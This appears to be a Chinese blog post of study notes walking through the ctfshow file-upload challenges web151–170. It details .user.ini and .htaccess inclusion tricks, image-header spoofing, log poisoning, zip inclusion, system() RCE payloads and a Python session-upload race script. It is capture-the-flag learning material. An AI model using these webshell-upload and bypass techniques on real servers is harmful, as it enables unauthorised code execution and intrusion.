0%

-–
title: ctfshow web php特性
date: 2021-11-5 00:06:01
author: 土哥

tags:
- 学习笔记
categories:我不选,我都要
- 学习笔记
excerpt: 坚持
description: 努力

-–

文件上传

web151 152
学到一新方法 直接右键上传图片 点检查 然后将png改为php或者删掉 然后直接上传php的码 然后访问/upload/xxx.php
再 rce
a=system(“ls /var/www/html”);
a=system(“cat ../fl*”); 或者 就bp抓包 改后缀名 php 然后蚁剑 upload是 upload/xx.php 漏了upload浪费好多时间

Web153要先了解.user.ini文件 先创建一个png文件 因为png文件才可以上传 里面内容是.user.ini内容 GIF89a
auto_prepend_file = 55.php
auto_append_file = 55.php
上传成功 开代理抓包 修改文件名为 .user.ini 即上传成功 再上传 个png文件的一句话木马 再修改后缀名为 php即可 然后蚁剑访问 /upload/index.php即可

web154 只是多屏蔽了php而已 大小写绕过 之后和web153一样

web155
真的自己是sb
先上传png格式 的.user.ini 内容为auto_append_file = 1.png //这里一样不能有php啊 等于 1.png 然后改后缀名为.user.ini 再上传个 1.png里面放个短标签的img
再改为php结尾 然后蚁剑 /upload/index.php

web156 与 155基本相同
先上传png格式 的.user.ini 内容为auto_append_file = 1.png 然后改后缀名为.user.ini 再上传个 1.png 的img 这里就不行了 用二分法过滤看哪个符号 结果发现是[] 改为{ }即可 然后用蚁剑 成功的话bpresponse应该显示{“code”:0,”msg”:”upload/1.png”}

web157
屏蔽了; {} 。。。直接输出flag了 不用一句话木马了 直接.user.ini 之后 的1.png 直接写 然后直接访问/upload/index.php

web158 同157

web159

把()都给ban了
别忘了还有反引号可以用
直接.user.ini 之后 的1.png 直接写 然后直接访问/upload/index.php

web160
需要用到日志包含绕过
但是log被ban了 过滤了括号反引号还有一些关键字,利用日志包含绕过,木马图片内容
先上传 .user.ini //要将空格删掉 因为也被ban了 然后将 传png 改为日志包含 : 然后改UA 为一马rce或者直接
ps:这里的木马图片其实是一个中间桥梁的作用,可以在.user.ini中直接包含日志文件。
不过这里不能直接写auto_append_file=”/var/lo”.”g/nginx/access.lo”.”g”,会解析错误:
因为后面是作为PHP文件解析(php字符串拼接的知识),而前面那个是服务器配置文件,语法不同(PHP中可以用.连接字符串这个设定)auto_append_file=/var/lo””g/nginx/access.lo””g可以的原因是环境服务器伪linux,这里是linux字符串拼接的知识。
然后查看源代码哦

web161
getimagesize()简介
这个函数功能会对目标文件的16进制去进行一个读取,去读取头几个字符串是不是符合图片的要求的 img
这问题和160一样 但是要在每个文件内容加上文件头 GIF89A

web162
预期解:
先上传个.user.ini 然后1.png里放
GIF89A
//session名字就为hhp
然后跑个脚本
import requests
import threading
rs = requests.session()
sess = 'hahaha'
url = “imghttp://833009a3-1931-4cbd-97f1-ef719eb797c9.chall.ctf.show/"改
data = {
'PHP_SESSION_UPLOAD_PROGRESS': ''
}
file = {
'file': sess
}
cookie = {
'PHPSESSID': sess
}
def write():
while True:
rs.post(url, data=data, files=file, cookies=cookie)
def read():
while True:
r = rs.get(url + “/upload/index.php”)
if 'flag' in r.text or 'ctfshow' in r.text:
print(r.text)
exit()
threads = [threading.Thread(target=write),
threading.Thread(target=read)]
for t in threads:
t.start()
因为session包含可能竞争不出来还是用远程文件包含吧 //传个远程url 不能有域名
同样传个.user.ini 然后png里 GIF89A 但是没写出来。。。

web166
这题先讲流程 右键检查 改格式 images后面删掉 images改为file //只给上传zip格式压缩包其实,我一开始抓包抓不到因为没找到包含点 应该先打开代理 上传zip后 bp再打开 就发现download.php 返回格式是html 但是内容全是压缩包内容(因为乱码) 所以这题学到的是压缩包的文件包含!我们用notepad直接给压缩包里面写img 保存后重新按找包含点的方法抓包 马是post 所以 在repeater右键 method改为post格式将参数放到url 试验1=phpinfo();发现可以执行 然后1=system(“ls .”); 找不到 就找上个目录1=system(“ls ../“); 成了 打开1=system(“tac../flag.php”);

web167
给了一个提示httpd 所以我现在才知道有这个就要上传.htaccess文件 先研究一下这个
htaccess文件是Apache服务器中的一个配置文件,他负责相关目录下的网页配置。通过htaccess文件,可以帮助我们实现:网页301重定向,自定义404错误页面,改变文件扩展名,允许或组织特定的用户或者,目录的访问,禁止目录列表,配置默认文档等功能。按网上说的有两种解题思路,根据htaccess文件的特性,这道题可以重写文件的解析规则进行绕过。先上传一个名为.htaccess文件,将原有的文件替换掉。其内容如下:1:SetHandler application/x-httpd-php .jpg 2:AddType application/x-httpd-php .jpg
所以开始这题
检查发现只可以上传jpg 传然后改文件为.htaccess 内容AddType application/x-httpd-php .jpg send之后改文件名为1.jpg 内容: 然后直接访问/upload/1.jpg 就出了

web168
检查 发现只能上传png 改后缀为php 1.php吧 然后进去直接+1.php不行 发现 upload应该为
upload/1.php这个目录 在里面做免杀直接加php代码即可 先 发现有回显就直接查看 然后 于是进入网页打开 /upload/1.php 查看源代码

web169
检查那里 改为 “files”然后上传后缀名为1.php 先改 Content-Type: image/png 不管是jpg,png 内容只要带有<就不行 因为试了下为png 内容123才是可以的显示成功//这种时候可以直接进 /upload/1.php里直接看 这时候就不懂怎么改了因为php里不可能不带<呀 所以包含日志呗 没有index.php 所以不能用var 直接将filename 改为index.php 内容:auto_append_file=/var/lo””g/nginx/access.lo””g//其实不绕过也可以 ua改为 进入 /upload/index.php post:1=system(“tac ../flagaa.php”); 查看源代码

web170
同web169